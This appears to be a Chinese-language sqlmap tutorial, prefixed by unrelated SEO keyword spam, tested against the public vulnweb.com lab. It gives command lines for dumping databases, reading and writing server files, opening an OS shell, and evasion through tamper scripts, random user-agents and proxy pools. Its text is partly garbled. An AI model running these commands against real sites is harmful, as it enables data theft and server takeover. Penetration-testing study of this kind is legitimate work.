八师石河子精神文明建设网站,没签合同网站做不好,wordpress网站乱码,随州学做网站的学校文章目录 参考链接#xff1a; SQLMAP简介支持五种不同的注入模式 数据猜解-库表列数据权限操作引出权限#xff1a;引出文件#xff1a;引出命令#xff08;执行命令#xff09;#xff1a; 提交方法-POSTHEADJSONPost注入cookie注入注入请求头中#xff08;… 文章目录 参考链接 SQLMAP简介支持五种不同的注入模式 数据猜解-库表列数据权限操作引出权限引出文件引出命令执行命令 提交方法-POSTHEADJSONPost注入cookie注入注入请求头中数据包注入推荐 绕过模块-Tamper脚本-使用开发Tamper使用Tamper编写 分析拓展-代理调试指纹风险等级后期分析调试打乱默认指纹使用更多的测试测试Header注入使用代理 参考链接
https://blog.csdn.net/Goodric/article/details/115875009
https://www.cnblogs.com/bmjoker/p/9326258.html
SQLMAP简介
sqlmap 是一个开源渗透测试工具可以自动执行检测和利用 SQL 注入缺陷以及接管数据库服务器的过程。
注入测试方面有一个sqlmap就足够了支持多种常用数据库注入。
支持五种不同的注入模式 基于布尔类型的盲注。可以工具返回页面判断条件真假的注入。 基于时间的盲注。不能工具页面返回内容判断任何信息要用条件语句查看时间延迟语句是否被执行来判断。 基于报错注入。页面会返回错误信息或者把注入的语句结果直接返回到页面中。 联合查询注入。可以使用 union 的情况下的注入。 堆查询注入。可以执行多条语句时的注入。
数据猜解-库表列数据
数据猜解是用字典去猜的使用的是data/txt中默认的字典进行猜解的也可以自行添加字典。
测试http://vulnweb.com/
-u “” 判断是否存在注入点
–current-db 获取当前数据库名
–tables -D “” 获取表
–columns -T “” -D “” 获取列
–dump -C “” -T “” -D “” 获取数据 -D 指定库名 -T 指定表名 -C 指定列名 python sqlmap.py --current-db // 获取当前数据库名python sqlmap.py -u 地址 --tables -D 数据库名 //获取表名ACCESS数据库的话没有数据库直接是表MySQL的话有多个数据库若不写库名则会获取所有数据库的表信息python sqlmap.py -u 地址 --columns -T 表名 -D 数据库名 //获取该表名下的列名python sqlmap.py -u 地址 --dump -C 列名 -T 表名 -D 数据库名 //获取数据 -C列名 -T表名注入完成会将结果保存在C盘文件中。
–dbs #列出所有数据库
权限操作
测试MYSQL高权限注入
引出权限
判断站点是否为高权限。
--is-dba #是否是管理员--privileges #查看权限--current-user #查看当前用户更推荐--is-dba因为--privileges查看的不一定准确
--is-dba也不一定准确综合分析。
引出文件
--file-read #文件读取--file-write #文件写入--file-dest #要写入的文件绝对路径# 例子:
--file-write /test/test.txt --file-dest /var/www/html/1.txt;
将本地的test.txt文件写入到目标的1.txt引出命令执行命令
--os-cmd # 执行系统命令--os-shell #系统交互shell--sql-shell #执行指定sql命令 文件读写和执行命令都是建立在管理员权限的情况下这些情况都是可以直接拿到网站权限的就不需要进行数据猜解等测试方法了。
提交方法-POSTHEADJSON
测试Post Cookie Json
Post注入
–data “post提交的数据” # 设置为post检测注入
python sqlmap.py -u 地址 --data usernametestpasstestcookie注入
–cookie “”
注入请求头中数据包注入推荐
把整个数据包保存文件在sqlmap目录下txt文件在文件中使用*标记注入点不标记则会全试很慢。
-r 1.txtpython sqlmap.py -u 地址 -r 1.txt有个网站只能用手机访问该网站有个注入点 如果不是通过抓包得到的请求的注入点数据包去注入发送请求的话 sqlmap就采用自己的请求头去访问进行注入测试就有可能会访问不到被拒绝。即无法测试 绕过模块-Tamper脚本-使用开发
测试base64注入 有过滤的注入
Tamper使用
--tamper脚本模块名称
如
--tamperbase64encode.py
--tampertest.py脚本文件存放于sqlmap目录下的tamper目录中。
Tamper编写
在如下脚本模板中的if payload:中编写替换规则使用payload.replace(替换前,替换内容)进行替换即可。
from lib.core.enums import PRIORITY__priority__ PRIORITY.LOWdef dependencies():passdef tamper(payload, **kwargs):if payload: payload payload.replace(SELECT,sElEct) # 编写替换规则payload payload.replace(OR,Or)payload payload.replace(AND,And)payload payload.replace(SLEEP,SleeP)payload payload.replace(ELT,Elt)return payload重点在于研究出绕过的方法当知道绕过的方法脚本编写很简单 分析拓展-代理调试指纹风险等级
后期分析调试
-v(0-6) #详细的等级(0-6)显示详细的注入内容等级越高显示的内容越多越详细 通过调试信息分析为什么不能注入是不能注入绕过失败还是自己写的tamper模块没有生效 打乱默认指纹
--user-agent #自定义user-agentsqlmap的固有流量特征User-Agent:sqlmap/1.7.5.4#
--random-agent #随机user-agent--time-sec(2,5) #延迟响应默认为5网站请求过快会屏蔽使用延迟可解决
使用更多的测试测试Header注入
--level(1-5) #要执行的测试水平等级默认为1 --risk(0-3) #测试执行的风险等级默认为1 相当于测试的深度等级越高测试的情况和方法更多
使用代理
--proxy http://xx:xx #代理地址代理注入和burpsuite联动便于分析注入的情况为什么不能注入注入数据包的查看分析 代理池直接将买的代理池地址放里面就好